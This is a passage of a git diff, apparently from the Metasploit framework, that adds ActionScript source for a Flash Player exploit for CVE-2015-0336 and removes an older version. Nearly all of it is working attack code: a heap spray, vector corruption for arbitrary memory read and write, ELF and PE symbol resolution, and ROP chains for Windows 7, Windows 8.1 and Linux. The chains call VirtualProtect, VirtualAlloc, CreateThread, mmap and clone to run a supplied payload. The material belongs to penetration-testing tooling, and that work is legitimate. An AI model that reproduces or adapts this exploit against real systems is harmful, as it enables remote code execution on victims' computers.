Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/Exploit.as b/external/source/exploits/CVE-2015-0336/Exploit.as new file mode 100644 index 0000000000..01f0f9279f --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/Exploit.as @@ -0,0 +1,128 @@ +// Build how to: +// 1. Download the AIRSDK, and use its compiler. +// 3. Download the Flex SDK (4.6) +// 4. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 5. Build with: mxmlc -o msf.swf Exploit.as + +// It uses some original code from @hdarwin89 for exploitation using ba's and vectors + +package +{ + import flash.display.Sprite + import flash.display.LoaderInfo + import flash.display.Loader + import flash.utils.ByteArray + import flash.utils.Endian + import flash.utils.* + import flash.external.ExternalInterface + import mx.utils.Base64Decoder + + + public class Exploit extends Sprite + { + private var uv:Vector. = new Vector. + private var exploiter:Exploiter + + private var spray:Vector. = new Vector.(89698) + private var interval_id:uint + private var trigger_swf:String + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + private var original_length:uint = 0 + + public function Exploit() + { + var i:uint = 0 + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + if (platform == 'win') { + original_length = 0x1e + for (i = 0; i < 89698; i = i + 1) { + spray[i] = new Vector.(1014) + spray[i][0] = 0xdeadbeef + spray[i][1] = 0xdeedbeef + spray[i][2] = i + spray[i][29] = 0x14951429 + } + + for(i = 0; i < 89698; i = i + 1) { + spray[i].length = 0x1e + } + } else if (platform == 'linux') { + original_length = 1022 + for (i = 0; i < 89698; i = i + 1) { + spray[i] = new Vector.(1022) + spray[i][0] = 0xdeadbeef + spray[i][1] = 0xdeedbeef + spray[i][2] = i + spray[i][29] = 0x956c1490 // 0x956c1490 + 0xb6c => 0x956c1ffc => controlled by position 1021 + spray[i][39] = 1 // 0x956c1fac + 0xf8 => is_connected = 1 in order to allow corruption of offsets 0x54 and 0x58 + spray[i][1021] = 0x956c1fac // 0x956c1fac + 0x54 => 0x956c2000 (0x54, and 0x58 offsets are corrupted) + } + } + + var trigger_byte_array:ByteArray = createByteArray(trigger_swf) + trigger_byte_array.endian = Endian.LITTLE_ENDIAN + trigger_byte_array.position = 0 + // Trigger corruption + var trigger_loader:Loader = new Loader() + trigger_loader.loadBytes(trigger_byte_array) + + interval_id = setTimeout(do_exploit, 2000) + } + + + private function createByteArray(hex_string:String) : ByteArray { + var byte:String + var byte_array:ByteArray = new ByteArray() + var hex_string_length:uint = hex_string.length + var i:uint = 0 + while(i < hex_string_length) + { + byte = hex_string.charAt(i) + hex_string.charAt(i + 1) + byte_array.writeByte(parseInt(byte,16)) + i = i + 2 + } + return byte_array + } + + private function do_exploit():void { + clearTimeout(interval_id) + + for(var i:uint = 0; i < spray.length; i = i + 1) { + if (spray[i].length != 1022 && spray[i].length != 0x1e) { + Logger.log('[*] Exploit - Found corrupted vector at ' + i + ' with length 0x' + spray[i].length.toString(16)) + spray[i][1022] = 0xffffffff + spray[i + 1][0x3ffffbff] = spray[i][1023] + spray[i + 1][0x3ffffbfe] = original_length + uv = spray[i + 1] + break + } + } + + for(i = 0; i < spray.length; i = i + 1) { + if (spray[i].length == 1022 || spray[i].length == 0x1e) { + spray[i] = null + } + } + + if (uv == null || uv.length != 0xffffffff) { + return + } + + exploiter = new Exploiter(this, platform, os, payload, uv) + } + + } +} + diff --git a/external/source/exploits/CVE-2015-0336/ExploitByteArray.as b/external/source/exploits/CVE-2015-0336/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/ExploitVector.as b/external/source/exploits/CVE-2015-0336/ExploitVector.as new file mode 100644 index 0000000000..3d9c84b43b --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 0x3e0 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/Exploiter.as b/external/source/exploits/CVE-2015-0336/Exploiter.as new file mode 100644 index 0000000000..9975dc8b6e --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/Exploiter.as @@ -0,0 +1,399 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(89698) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x4000) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/Logger.as b/external/source/exploits/CVE-2015-0336/Logger.as new file mode 100644 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2015-0336/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-0336/Msf.as b/external/source/exploits/CVE-2015-0336/Msf.as deleted file mode 100755 index bbd0d83034..0000000000 --- a/external/source/exploits/CVE-2015-0336/Msf.as +++ /dev/null @@ -1,318 +0,0 @@ -// Build how to: -// 1. Download the AIRSDK, and use its compiler. -// 2. Download the Flex SDK (4.6) -// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) -// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) -// 4. Build with: mxmlc -o msf.swf Msf.as - -// It uses original code from @hdarwin89 for exploitation using ba's and vectors - -package -{ - import flash.utils.* - import flash.display.* - import flash.system.* - import mx.utils.Base64Decoder - - public final class Msf extends Sprite { - private var interval_id:uint; - - private var trigger_swf:String = "" - - private var b64:Base64Decoder = new Base64Decoder(); - private var payload:String = "" - - private var spray:Vector. = new Vector.(89698 + 100) - private var corrupted_index:uint = 0 - private var restore_required:Boolean = false - - private var uv:Vector. - private var ba:ByteArray = new ByteArray() - private var stack:Vector. = new Vector.(0x6400) - private var payload_space:Vector. = new Vector.(0x6400) - - public function Msf() { - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - payload = b64.toByteArray().toString(); - trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr - - ba.endian = "littleEndian" - ba.length = 1024 - ba.writeUnsignedInt(0xdeedbeef) - ba.position = 0 - - var i:uint = 0 - - while (i < 89698) { - spray[i] = new Vector.(1014) - spray[i][0] = 0xdeadbeef - spray[i][1] = 0xdeedbeef - spray[i][2] = i - spray[i][29] = 0x1a1e1429 - i++ - } - - for(i = 0; i < 89698; i = i + 1) { - spray[i].length = 0x1e - } - - for(i = 0; i < 100; i = i + 1) { - spray[i + 89698] = new Vector.(1014) - spray[i + 89698][0] = ba - spray[i + 89698][1] = this - spray[i + 89698][2] = stack - spray[i + 89698][3] = payload_space - } - - for(i = 0; i < 100; i = i + 1) { - spray[i + 89698].length = 114 - } - - var trigger_byte_array:ByteArray = createByteArray(trigger_swf) - trigger_byte_array.endian = Endian.LITTLE_ENDIAN - trigger_byte_array.position = 0 - - // Trigger corruption - var trigger_loader:Loader = new Loader(); - trigger_loader.loadBytes(trigger_byte_array); - - interval_id = setTimeout(exploit, 2000) - } - - public function createByteArray(hex_string:String) : ByteArray { - var byte:String = null; - var byte_array:ByteArray = new ByteArray(); - var hex_string_length:uint = hex_string.length; - var i:uint = 0; - while(i < hex_string_length) - { - byte = hex_string.charAt(i) + hex_string.charAt(i + 1); - byte_array.writeByte(parseInt(byte,16)); - i = i + 2; - } - return byte_array; - } - - public function exploit():void { - clearTimeout(interval_id) - - for(var i:uint = 0; i < spray.length; i = i + 1) { - if (spray[i].length != 0x1e) { - corrupted_index = corrupt_vector_uint(i) - restore_required = true - uv = spray[corrupted_index] - uv[0] = 0x1a1e3000 // We're being confident about the spray for exploitation anyway :-) - control_execution() - if (restore_required) { - restore_vector_uint() - } - break; - } - } - } - - // make it better, search and return error if it doesn't work :-) - public function corrupt_vector_uint(index:uint):uint { - spray[index][0x3fe] = 0xffffffff - return spray[index][0x402] - } - - public function restore_vector_uint():void { - var atom:uint = spray[corrupted_index][0x3fffffff] - spray[corrupted_index][0x3ffffbff] = atom - spray[corrupted_index][0x3ffffbfe] = 0x1e - // Restore vector corrupted by hand - spray[corrupted_index][0x3ffffffe] = 0x1e - } - - public function control_execution():void { - // Use the corrupted Vector to search saved addresses - var object_vector_pos:uint = search_object_vector() - if (object_vector_pos == 0xffffffff) { - return - } - - var byte_array_object:uint = uv[object_vector_pos] - 1 - var main:uint = uv[object_vector_pos + 1] - 1 - var stack_object:uint = uv[object_vector_pos + 2] - 1 - var payload_space_object:uint = uv[object_vector_pos + 3] - 1 - - // Use the corrupted Vector to disclose arbitrary memory - var buffer_object:uint = vector_read(byte_array_object + 0x40) - var buffer:uint = vector_read(buffer_object + 8) - var stack_address:uint = vector_read(stack_object + 0x18) - var payload_address:uint = vector_read(payload_space_object + 0x18) - var vtable:uint = vector_read(main) - - // Set the new ByteArray length - ba.endian = "littleEndian" - ba.length = 0x500000 - - // Overwite the ByteArray data pointer and capacity - var ba_array:uint = buffer_object + 8 - var ba_capacity:uint = buffer_object + 16 - vector_write(ba_array) - vector_write(ba_capacity, 0xffffffff) - - // restoring the corrupted vector length since we don't need it anymore - restore_vector_uint() - restore_required = false - - var flash:uint = base(vtable) - var winmm:uint = module("winmm.dll", flash) - var kernel32:uint = module("kernel32.dll", winmm) - var virtualprotect:uint = procedure("VirtualProtect", kernel32) - var winexec:uint = procedure("WinExec", kernel32) - var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash) - var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash) - - // Continuation of execution - byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable - byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main - byte_write(0, "\x89\x03", false) // mov [ebx], eax - byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret - - // Put the payload (command) in memory - byte_write(payload_address + 8, payload, true); // payload - - // Put the fake vtabe / stack on memory - byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... - byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] - byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot - byte_write(0, virtualprotect) - - // VirtualProtect - byte_write(0, winexec) - byte_write(0, buffer + 0x10) - byte_write(0, 0x1000) - byte_write(0, 0x40) - 